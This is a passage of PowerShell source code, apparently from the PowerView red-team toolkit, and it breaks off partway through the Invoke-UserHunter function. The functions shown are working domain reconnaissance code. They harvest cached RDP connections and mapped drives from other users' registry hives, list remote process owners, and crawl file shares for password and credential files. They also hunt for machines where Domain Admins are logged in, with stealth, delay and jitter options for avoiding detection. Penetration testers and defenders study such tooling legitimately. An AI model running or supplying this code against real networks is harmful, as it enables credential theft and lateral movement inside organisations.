Get-NetComputer | Get-CachedRDPConnection\n\n        Get cached RDP information for all machines in the domain.\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [Object[]]\n        [ValidateNotNullOrEmpty()]\n        $ComputerName = 'localhost',\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    # extract the computer name from whatever object was passed on the pipeline\n    $Computer = $ComputerName | Get-NameField\n\n    # HKEY_USERS\n    $HKU = 2147483651\n\n    try {\n        if($Credential) {\n            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue\n        }\n        else {\n            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\\default -Computername $Computer -ErrorAction SilentlyContinue\n        }\n\n        # extract out the SIDs of domain users in this hive\n        $UserSIDs = ($Reg.EnumKey($HKU, \"\")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }\n\n        foreach ($UserSID in $UserSIDs) {\n\n            try {\n                $UserName = Convert-SidToName $UserSID\n\n                # pull out all the cached RDP connections\n                $ConnectionKeys = $Reg.EnumValues($HKU,\"$UserSID\\Software\\Microsoft\\Terminal Server Client\\Default\").sNames\n\n                foreach ($Connection in $ConnectionKeys) {\n                    # make sure this key is a cached connection\n                    if($Connection -match 'MRU.*') {\n                        $TargetServer = $Reg.GetStringValue($HKU, \"$UserSID\\Software\\Microsoft\\Terminal Server Client\\Default\", $Connection).sValue\n                        \n                        $FoundConnection = New-Object PSObject\n                        $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer\n                        $FoundConnection | Add-Member Noteproperty 'UserName' $UserName\n                        $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID\n                        $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer\n                        $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null\n                        $FoundConnection\n                    }\n                }\n\n                # pull out all the cached server info with username hints\n                $ServerKeys = $Reg.EnumKey($HKU,\"$UserSID\\Software\\Microsoft\\Terminal Server Client\\Servers\").sNames\n\n                foreach ($Server in $ServerKeys) {\n\n                    $UsernameHint = $Reg.GetStringValue($HKU, \"$UserSID\\Software\\Microsoft\\Terminal Server Client\\Servers\\$Server\", 'UsernameHint').sValue\n                    \n                    $FoundConnection = New-Object PSObject\n                    $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer\n                    $FoundConnection | Add-Member Noteproperty 'UserName' $UserName\n                    $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID\n                    $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server\n                    $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint\n                    $FoundConnection   \n                }\n\n            }\n            catch {\n                Write-Verbose \"Error: $_\"\n            }\n        }\n\n    }\n    catch {\n        Write-Warning \"Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_\"\n    }\n}\n\n\nfilter Get-RegistryMountedDrive {\n<#\n    .SYNOPSIS\n\n        Uses remote registry functionality to query all entries for the\n        the saved network mounted drive on a machine, separated by\n        user and target server.\n\n        Note: This function requires administrative rights on the\n        machine you're enumerating.\n\n    .PARAMETER ComputerName\n\n        The hostname to query for RDP client information.\n        Defaults to localhost.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object for the remote connection.\n\n    .EXAMPLE\n\n        PS C:\\> Get-RegistryMountedDrive\n\n        Returns the saved network mounted drives for the local machine.\n\n    .EXAMPLE\n\n        PS C:\\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local\n\n        Returns the saved network mounted drives for the WINDOWS2.testlab.local machine\n\n    .EXAMPLE\n\n        PS C:\\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local -Credential $Cred\n\n        Returns the saved network mounted drives for the WINDOWS2.testlab.local machine using alternate credentials.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetComputer | Get-RegistryMountedDrive\n\n        Get the saved network mounted drives for all machines in the domain.\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [Object[]]\n        [ValidateNotNullOrEmpty()]\n        $ComputerName = 'localhost',\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    # extract the computer name from whatever object was passed on the pipeline\n    $Computer = $ComputerName | Get-NameField\n\n    # HKEY_USERS\n    $HKU = 2147483651\n\n    try {\n        if($Credential) {\n            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue\n        }\n        else {\n            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\\default -Computername $Computer -ErrorAction SilentlyContinue\n        }\n\n        # extract out the SIDs of domain users in this hive\n        $UserSIDs = ($Reg.EnumKey($HKU, \"\")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }\n\n        foreach ($UserSID in $UserSIDs) {\n\n            try {\n                $UserName = Convert-SidToName $UserSID\n\n                $DriveLetters = ($Reg.EnumKey($HKU, \"$UserSID\\Network\")).sNames\n\n                ForEach($DriveLetter in $DriveLetters) {\n                    $ProviderName = $Reg.GetStringValue($HKU, \"$UserSID\\Network\\$DriveLetter\", 'ProviderName').sValue\n                    $RemotePath = $Reg.GetStringValue($HKU, \"$UserSID\\Network\\$DriveLetter\", 'RemotePath').sValue\n                    $DriveUserName = $Reg.GetStringValue($HKU, \"$UserSID\\Network\\$DriveLetter\", 'UserName').sValue\n                    if(-not $UserName) { $UserName = '' }\n\n                    if($RemotePath -and ($RemotePath -ne '')) {\n                        $MountedDrive = New-Object PSObject\n                        $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer\n                        $MountedDrive | Add-Member Noteproperty 'UserName' $UserName\n                        $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID\n                        $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter\n                        $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName\n                        $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath\n                        $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName\n                        $MountedDrive\n                    }\n                }\n            }\n            catch {\n                Write-Verbose \"Error: $_\"\n            }\n        }\n    }\n    catch {\n        Write-Warning \"Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_\"\n    }\n}\n\n\nfilter Get-NetProcess {\n<#\n    .SYNOPSIS\n\n        Gets a list of processes/owners on a remote machine.\n\n    .PARAMETER ComputerName\n\n        The hostname to query processes. Defaults to the local host name.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object for the remote connection.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetProcess -ComputerName WINDOWS1\n    \n        Returns the current processes for WINDOWS1\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [Object[]]\n        [ValidateNotNullOrEmpty()]\n        $ComputerName = [System.Net.Dns]::GetHostName(),\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    # extract the computer name from whatever object was passed on the pipeline\n    $Computer = $ComputerName | Get-NameField\n\n    try {\n        if($Credential) {\n            $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential\n        }\n        else {\n            $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName\n        }\n\n        $Processes | ForEach-Object {\n            $Owner = $_.getowner();\n            $Process = New-Object PSObject\n            $Process | Add-Member Noteproperty 'ComputerName' $Computer\n            $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName\n            $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID\n            $Process | Add-Member Noteproperty 'Domain' $Owner.Domain\n            $Process | Add-Member Noteproperty 'User' $Owner.User\n            $Process                \n        }\n    }\n    catch {\n        Write-Verbose \"[!] Error enumerating remote processes on $Computer, access likely denied: $_\"\n    }\n}\n\n\nfunction Find-InterestingFile {\n<#\n    .SYNOPSIS\n\n        This function recursively searches a given UNC path for files with\n        specific keywords in the name (default of pass, sensitive, secret, admin,\n        login and unattend*.xml). The output can be piped out to a csv with the\n        -OutFile flag. By default, hidden files/folders are included in search results.\n\n    .PARAMETER Path\n\n        UNC/local path to recursively search.\n\n    .PARAMETER Terms\n\n        Terms to search for.\n\n    .PARAMETER OfficeDocs\n\n        Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)\n\n    .PARAMETER FreshEXEs\n\n        Switch. Find .EXEs accessed within the last week.\n\n    .PARAMETER LastAccessTime\n\n        Only return files with a LastAccessTime greater than this date value.\n\n    .PARAMETER LastWriteTime\n\n        Only return files with a LastWriteTime greater than this date value.\n\n    .PARAMETER CreationTime\n\n        Only return files with a CreationTime greater than this date value.\n\n    .PARAMETER ExcludeFolders\n\n        Switch. Exclude folders from the search results.\n\n    .PARAMETER ExcludeHidden\n\n        Switch. Exclude hidden files and folders from the search results.\n\n    .PARAMETER CheckWriteAccess\n\n        Switch. Only returns files the current user has write access to.\n\n    .PARAMETER OutFile\n\n        Output results to a specified csv output file.\n\n    .PARAMETER UsePSDrive\n\n        Switch. Mount target remote path with temporary PSDrives.\n\n    .OUTPUTS\n\n        The full path, owner, lastaccess time, lastwrite time, and size for each found file.\n\n    .EXAMPLE\n\n        PS C:\\> Find-InterestingFile -Path C:\\Backup\\\n        \n        Returns any files on the local path C:\\Backup\\ that have the default\n        search term set in the title.\n\n    .EXAMPLE\n\n        PS C:\\> Find-InterestingFile -Path \\\\WINDOWS7\\Users\\ -Terms salaries,email -OutFile out.csv\n        \n        Returns any files on the remote path \\\\WINDOWS7\\Users\\ that have 'salaries'\n        or 'email' in the title, and writes the results out to a csv file\n        named 'out.csv'\n\n    .EXAMPLE\n\n        PS C:\\> Find-InterestingFile -Path \\\\WINDOWS7\\Users\\ -LastAccessTime (Get-Date).AddDays(-7)\n\n        Returns any files on the remote path \\\\WINDOWS7\\Users\\ that have the default\n        search term set in the title and were accessed within the last week.\n\n    .LINK\n        \n        http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/\n#>\n    \n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $Path = '.\\',\n\n        [Alias('Terms')]\n        [String[]]\n        $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'),\n\n        [Switch]\n        $OfficeDocs,\n\n        [Switch]\n        $FreshEXEs,\n\n        [String]\n        $LastAccessTime,\n\n        [String]\n        $LastWriteTime,\n\n        [String]\n        $CreationTime,\n\n        [Switch]\n        $ExcludeFolders,\n\n        [Switch]\n        $ExcludeHidden,\n\n        [Switch]\n        $CheckWriteAccess,\n\n        [String]\n        $OutFile,\n\n        [Switch]\n        $UsePSDrive\n    )\n\n    begin {\n\n        $Path += if(!$Path.EndsWith('\\')) {\"\\\"}\n\n        if ($Credential) {\n            $UsePSDrive = $True\n        }\n\n        # append wildcards to the front and back of all search terms\n        $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\\*.*\\*$') {\"*$($_)*\"} else{$_} }\n\n        # search just for office documents if specified\n        if ($OfficeDocs) {\n            $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')\n        }\n\n        # find .exe's accessed within the last 7 days\n        if($FreshEXEs) {\n            # get an access time limit of 7 days ago\n            $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')\n            $SearchTerms = '*.exe'\n        }\n\n        if($UsePSDrive) {\n            # if we're PSDrives, create a temporary mount point\n\n            $Parts = $Path.split('\\')\n            $FolderPath = $Parts[0..($Parts.length-2)] -join '\\'\n            $FilePath = $Parts[-1]\n\n            $RandDrive = (\"abcdefghijklmnopqrstuvwxyz\".ToCharArray() | Get-Random -Count 7) -join ''\n            \n            Write-Verbose \"Mounting path '$Path' using a temp PSDrive at $RandDrive\"\n\n            try {\n                $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop\n            }\n            catch {\n                Write-Verbose \"Error mounting path '$Path' : $_\"\n                return $Null\n            }\n\n            # so we can cd/dir the new drive\n            $Path = \"${RandDrive}:\\${FilePath}\"\n        }\n    }\n\n    process {\n\n        Write-Verbose \"[*] Search path $Path\"\n\n        function Invoke-CheckWrite {\n            # short helper to check is the current user can write to a file\n            [CmdletBinding()]param([String]$Path)\n            try {\n                $Filetest = [IO.FILE]::OpenWrite($Path)\n                $Filetest.Close()\n                $True\n            }\n            catch {\n                Write-Verbose -Message $Error[0]\n                $False\n            }\n        }\n\n        $SearchArgs =  @{\n            'Path' = $Path\n            'Recurse' = $True\n            'Force' = $(-not $ExcludeHidden)\n            'Include' = $SearchTerms\n            'ErrorAction' = 'SilentlyContinue'\n        }\n\n        Get-ChildItem @SearchArgs | ForEach-Object {\n            Write-Verbose $_\n            # check if we're excluding folders\n            if(!$ExcludeFolders -or !$_.PSIsContainer) {$_}\n        } | ForEach-Object {\n            if($LastAccessTime -or $LastWriteTime -or $CreationTime) {\n                if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_}\n                elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_}\n                elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_}\n            }\n            else {$_}\n        } | ForEach-Object {\n            # filter for write access (if applicable)\n            if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_}\n        } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object {\n            # check if we're outputting to the pipeline or an output file\n            if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile}\n            else {$_}\n        }\n    }\n\n    end {\n        if($UsePSDrive -and $RandDrive) {\n            Write-Verbose \"Removing temp PSDrive $RandDrive\"\n            Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force\n        }\n    }\n}\n\n\n########################################################\n#\n# 'Meta'-functions start below\n#\n########################################################\n\nfunction Invoke-ThreadedFunction {\n    # Helper used by any threaded host enumeration functions\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0,Mandatory=$True)]\n        [String[]]\n        $ComputerName,\n\n        [Parameter(Position=1,Mandatory=$True)]\n        [System.Management.Automation.ScriptBlock]\n        $ScriptBlock,\n\n        [Parameter(Position=2)]\n        [Hashtable]\n        $ScriptParameters,\n\n        [Int]\n        [ValidateRange(1,100)] \n        $Threads = 20,\n\n        [Switch]\n        $NoImports\n    )\n\n    begin {\n\n        if ($PSBoundParameters['Debug']) {\n            $DebugPreference = 'Continue'\n        }\n\n        Write-Verbose \"[*] Total number of hosts: $($ComputerName.count)\"\n\n        # Adapted from:\n        #   http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/\n        $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()\n        $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()\n\n        # import the current session state's variables and functions so the chained PowerView\n        #   functionality can be used by the threaded blocks\n        if(!$NoImports) {\n\n            # grab all the current variables for this runspace\n            $MyVars = Get-Variable -Scope 2\n\n            # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice\n            $VorbiddenVars = @(\"?\",\"args\",\"ConsoleFileName\",\"Error\",\"ExecutionContext\",\"false\",\"HOME\",\"Host\",\"input\",\"InputObject\",\"MaximumAliasCount\",\"MaximumDriveCount\",\"MaximumErrorCount\",\"MaximumFunctionCount\",\"MaximumHistoryCount\",\"MaximumVariableCount\",\"MyInvocation\",\"null\",\"PID\",\"PSBoundParameters\",\"PSCommandPath\",\"PSCulture\",\"PSDefaultParameterValues\",\"PSHOME\",\"PSScriptRoot\",\"PSUICulture\",\"PSVersionTable\",\"PWD\",\"ShellId\",\"SynchronizedHash\",\"true\")\n\n            # Add Variables from Parent Scope (current runspace) into the InitialSessionState\n            ForEach($Var in $MyVars) {\n                if($VorbiddenVars -NotContains $Var.Name) {\n                $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))\n                }\n            }\n\n            # Add Functions from current runspace to the InitialSessionState\n            ForEach($Function in (Get-ChildItem Function:)) {\n                $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))\n            }\n        }\n\n        # threading adapted from\n        # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407\n        #   Thanks Carlos!\n\n        # create a pool of maxThread runspaces\n        $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)\n        $Pool.Open()\n\n        $method = $null\n        ForEach ($m in [PowerShell].GetMethods() | Where-Object { $_.Name -eq \"BeginInvoke\" }) {\n            $methodParameters = $m.GetParameters()\n            if (($methodParameters.Count -eq 2) -and $methodParameters[0].Name -eq \"input\" -and $methodParameters[1].Name -eq \"output\") {\n                $method = $m.MakeGenericMethod([Object], [Object])\n                break\n            }\n        }\n\n        $Jobs = @()\n    }\n\n    process {\n\n        ForEach ($Computer in $ComputerName) {\n\n            # make sure we get a server name\n            if ($Computer -ne '') {\n                # Write-Verbose \"[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))\"\n\n                While ($($Pool.GetAvailableRunspaces()) -le 0) {\n                    Start-Sleep -MilliSeconds 500\n                }\n\n                # create a \"powershell pipeline runner\"\n                $p = [powershell]::create()\n\n                $p.runspacepool = $Pool\n\n                # add the script block + arguments\n                $Null = $p.AddScript($ScriptBlock).AddParameter('ComputerName', $Computer)\n                if($ScriptParameters) {\n                    ForEach ($Param in $ScriptParameters.GetEnumerator()) {\n                        $Null = $p.AddParameter($Param.Name, $Param.Value)\n                    }\n                }\n\n                $o = New-Object Management.Automation.PSDataCollection[Object]\n\n                $Jobs += @{\n                    PS = $p\n                    Output = $o\n                    Result = $method.Invoke($p, @($null, [Management.Automation.PSDataCollection[Object]]$o))\n                }\n            }\n        }\n    }\n\n    end {\n        Write-Verbose \"Waiting for threads to finish...\"\n\n        Do {\n            ForEach ($Job in $Jobs) {\n                $Job.Output.ReadAll()\n            }\n        } While (($Jobs | Where-Object { ! $_.Result.IsCompleted }).Count -gt 0)\n\n        ForEach ($Job in $Jobs) {\n            $Job.PS.Dispose()\n        }\n\n        $Pool.Dispose()\n        Write-Verbose \"All threads completed!\"\n    }\n}\n\n\nfunction Invoke-UserHunter {\n<#\n    .SYNOPSIS\n\n        Finds which machines users of a specified group are logged into.\n\n        Author: @harmj0y\n        License: BSD 3-Clause\n\n    .DESCRIPTION\n\n        This function finds the local domain name for a host using Get-NetDomain,\n        queries the domain for users of a specified group (default \"domain admins\")\n        with Get-NetGroupMember or reads in a target user list, queries the domain for all\n        active machines with Get-NetComputer or reads in a pre-populated host list,\n        randomly shuffles the target list, then for each server it gets a list of\n        active users with Get-NetSession/Get-NetLoggedon. The found user list is compared\n        against the target list, and a status message is displayed for any hits.\n        The flag -CheckAccess will check each positive host to see if the current\n        user has local admin access to the machine.\n\n    .PARAMETER ComputerName\n\n        Host array to enumerate, passable on the pipeline.\n\n    .PARAMETER ComputerFile\n\n        File of hostnames/IPs to search.\n\n    .PARAMETER ComputerFilter\n\n        Host filter name to query AD for, wildcards accepted.\n\n    .PARAMETER ComputerADSpath\n\n        The LDAP source to search through for hosts, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER Unconstrained\n\n        Switch. Only enumerate computers that have unconstrained delegation.\n\n    .PARAMETER GroupName\n\n        Group name to query for target users.\n\n    .PARAMETER TargetServer\n\n        Hunt for users who are effective local admins on a target server.\n\n    .PARAMETER UserName\n\n        Specific username to search for.\n\n    .PARAMETER UserFilter\n\n        A customized ldap filter string to use for user enumeration, e.g. \"(description=*admin*)\"\n\n    .PARAMETER UserADSpath\n\n        The LDAP source to search through for users, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER UserFile\n\n        File of usernames to search for.\n\n    .PARAMETER AdminCount\n\n        Switch. Hunt for users with adminCount=1.\n\n    .PARAMETER AllowDelegation\n\n        Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'\n\n    .PARAMETER StopOnSuccess\n\n        Switch. Stop hunting after finding after finding a target user.\n\n    .PARAMETER NoPing\n\n        Don't ping each host to ensure it's up before enumerating.\n\n    .PARAMETER CheckAccess\n\n        Switch. Check if the current user has local admin access to found machines.\n\n    .PARAMETER Delay\n\n        Delay between enumerating hosts, defaults to 0\n\n    .PARAMETER Jitter\n\n        Jitter for the host delay, defaults to +/- 0.3\n\n    .PARAMETER Domain\n\n        Domain for query for machines, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ShowAll\n\n        Switch. Return all user location results, i.e. Invoke-UserView functionality.\n\n    .PARAMETER SearchForest\n\n        Switch. Search all domains in the forest for target users instead of just\n        a single domain.\n\n    .PARAMETER Stealth\n\n        Switch. Only enumerate sessions from connonly used target servers.\n\n    .PARAMETER StealthSource\n\n        The source of target servers to use, 'DFS' (distributed file servers),\n        'DC' (domain controllers), 'File' (file servers), or 'All'\n\n    .PARAMETER ForeignUsers\n\n        Switch. Only return results that are not part of searched domain.\n\n    .PARAMETER Threads\n\n        The maximum concurrent threads to execute.\n\n    .PARAMETER Poll\n\n        Continuously poll for sessions for the given duration. Automatically\n        sets Threads to the number of computers being polled.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-UserHunter -CheckAccess\n\n        Finds machines on the local domain where domain admins are logged into\n        and checks if the current user has local administrator access.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-UserHunter -Domain 'testing'\n\n        Finds machines on the 'testing' domain where domain admins are logged into.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-UserHunter -Threads 20\n\n        Multi-threaded user hunting, replaces Invoke-UserHunterThreaded.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt\n\n        Finds machines in hosts.txt where any members of users.txt are logged in\n        or have sessions.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-UserHunter -GroupName \"Power Users\" -Delay 60\n\n        Find machines on the domain where members of the \"Power Users\" groups are\n        logged into with a 60 second (+/- *.3) randomized delay between\n        touching each host.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-UserHunter -TargetServer FILESERVER\n\n        Query FILESERVER for useres who are effective local administrators using\n        Get-NetLocalGroup -Recurse, and hunt for that user set on the network.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-UserHunter -SearchForest\n\n        Find all machines in the current forest where domain admins are logged in.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-UserHunter -Stealth\n\n        Executes old Invoke-StealthUserHunter functionality, enumerating commonly\n        used servers and checking just sessions for each.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-UserHunter -Stealth -StealthSource DC -Poll 3600 -Delay 5 -ShowAll | ? { ! $_.UserName.EndsWith('$') }\n\n        Poll Domain Controllers in parallel for sessions for an hour, waiting five\n        seconds before querying each DC again and filtering out computer accounts.\n\n    .LINK\n        http://blog.harmj0y.net\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0,ValueFromPipeline=$True)]\n        [Alias('Hosts')]\n        [String[]]\n        $ComputerName,\n\n        [ValidateScript({Test-Path -Path $_ })]\n        [Alias('HostList')]\n        [String]\n        $ComputerFile,\n\n        [String]\n        $ComputerFilter,\n\n        [String]\n        $ComputerADSpath,\n\n        [Switch]\n        $Unconstrained,\n\n        [String]\n        $GroupName = 'Domain Admins',\n\n        [String]\n        $TargetServer,\n\n        [String]\n        $UserName,\n\n        [String]\n        $UserFilter,\n\n        [String]\n        $UserADSpath,\n\n        [ValidateScript({Test-Path -Path $_ })]\n        [String]\n        $UserFile,\n\n        [Switch]\n        $AdminCount,\n\n        [Switch]\n        $AllowDelegation,\n\n        [Switch]\n        $CheckAccess,\n\n        [Switch]\n        $StopOnSuccess,\n\n        [Switch]\n        $NoPing,\n\n        [UInt32]\n        $Delay = 0,\n\n        [Double]\n        $Jitter = .3,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [Switch]\n        $ShowAll,\n\n        [Switch]\n        $SearchForest,\n\n        [Switch]\n        $Stealth,\n\n        [String]\n        [ValidateSet(\"DFS\",\"DC\",\"File\",\"All\")]\n        $StealthSource =\"All\",\n\n        [Switch]\n        $ForeignUsers,\n\n        [Int]\n        [ValidateRange(1,100)]\n        $Threads,\n\n        [UInt32]\n        $Poll = 0\n    )\n\n    begin {\n\n        if ($PSBoundParameters['Debug']) {\n            $DebugPreference = 'Continue'\n        }\n\n        Write-Verbose \"[*] Running Invoke-UserHunter with delay of $Delay\"\n\n        #####################################################\n        #\n        # First we build the host target set\n        #\n        #####################################################\n\n        if($ComputerFile) {\n            # if we're using a host list, read the targets in and add them to the target list\n            $ComputerName = Get-Content -Path $ComputerFile\n        }\n\n        if(!$ComputerName) { \n            [Array]$ComputerName = @()\n\n            if($Domain) {\n                $TargetDomains = @($Domain)\n            }\n            elseif($SearchForest) {\n                # get ALL the domains in the forest to search\n                $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }\n            }\n            else {\n                # use the local domain\n                $TargetDomains = @( (Get-NetDomain).name )\n            }\n            \n            if($Stealth) {\n                Write-Verbose \"Stealth mode! Enumerating commonly used servers\"\n                Write-Verbose \"Stealth source: $StealthSource\"\n\n                ForEach ($Domain in $TargetDomains) {\n                    if (($StealthSource -eq \"File\") -or ($StealthSource -eq \"All\")) {\n                        Write-Verbose \"[*] Querying domain $Domain for File Servers...\"\n                        $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController\n                    }\n                    if (($StealthSource -eq \"DFS\") -or ($StealthSource -eq \"All\")) {\n                        Write-Verbose \"[*] Querying domain $Domain for DFS Servers...\"\n                        $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName}\n                    }\n                    if (($StealthSource -eq \"DC\") -or ($StealthSource -eq \"All\")) {\n                        Write-Verbose \"[*] Querying domain $Domain for Domain Controllers...\"\n                        $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname}\n                    }\n                }\n            }\n            else {\n                ForEach ($Domain in $TargetDomains) {\n                    Write-Verbose \"[*] Querying domain $Domain for hosts\"\n\n                    $Arguments = @{\n                        'Domain' = $Domain\n                        'DomainController' = $DomainController\n                        'ADSpath' = $ADSpath\n                        'Filter' = $ComputerFilter\n                        'Unconstrained' = $Unconstrained\n                    }\n\n                    $ComputerName += Get-NetComputer @Arguments\n                }\n            }\n\n            # remove any null target hosts, uniquify the list and shuffle it\n            $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }\n            if($($ComputerName.Count) -eq 0) {\n                throw \"No hosts found!\"\n            }\n        }\n\n        if ($Poll -gt 0) {\n            Write-Verbose \"[*] Polling for $Poll seconds. Automatically enabling threaded mode.\"\n            if ($ComputerName.Count -gt 100) {\n                throw \"Too many hosts to poll! Try fewer than 100.\"\n            }\n            $Threads = $ComputerName.Count\n        }\n\n        #####################################################\n        #\n        # Now we build the user target set\n        #\n        #####################################################\n\n        # users we're going to be searching for\n        $TargetUsers = @()\n\n        # get the current user so we can ignore it in the results\n        $CurrentUser = ([Environment]::UserName).toLower()\n\n        # if we're showing all results, skip username enumeration\n        if($ShowAll -or $ForeignUsers) {\n            $User = New-Object PSObject\n            $User | Add-Member Noteproperty 'MemberDomain' $Null\n            $User | Add-Member Noteproperty 'MemberName' '*'\n            $TargetUsers = @($User)\n\n            if($ForeignUsers) {\n                # if we're searching for user results not in the primary domain\n                $krbtgtName = Convert-ADName -ObjectName \"krbtgt@$($Domain)\" -InputType Simple -OutputType NT4\n                $DomainShortName = $krbtgtName.split(\"\\\")[0]\n            }\n        }\n        # if we want to hunt for the effective domain users who can access a target server\n        elseif($TargetServer) {\n            Write-Verbose \"Querying target server '$TargetServer' for local users\"\n            $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {\n                $User = New-Object PSObject\n                $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split(\"/\")[0].toLower() \n                $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split(\"/\")[1].toLower() \n                $User\n            }  | Where-Object {$_}\n        }\n        # if we get a specific username, only use that\n        elseif($UserName) {\n            Write-Verbose \"[*] Using target user '$UserName'...\"\n            $User = New-Object PSObject\n            if($TargetDomains) {\n                $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]\n            }\n            else {\n                $User | Add-Member Noteproperty 'MemberDomain' $Null\n            }\n            $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower()\n            $TargetUsers = @($User)\n        }\n        # read in a target user list if we have one\n        elseif($UserFile) {\n            $TargetUsers = Get-Content -Path $UserFile | ForEach-Object {\n                $User = New-Object PSObject\n                if($TargetDomains) {\n                    $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]\n                }\n                else {\n                    $User | Add-Member Noteproperty 'MemberDomain' $Null\n                }\n                $User | Add-Member Noteproperty 'MemberName' $_\n                $User\n            }  | Where-Object {$_}\n        }\n        elseif($UserADSpath 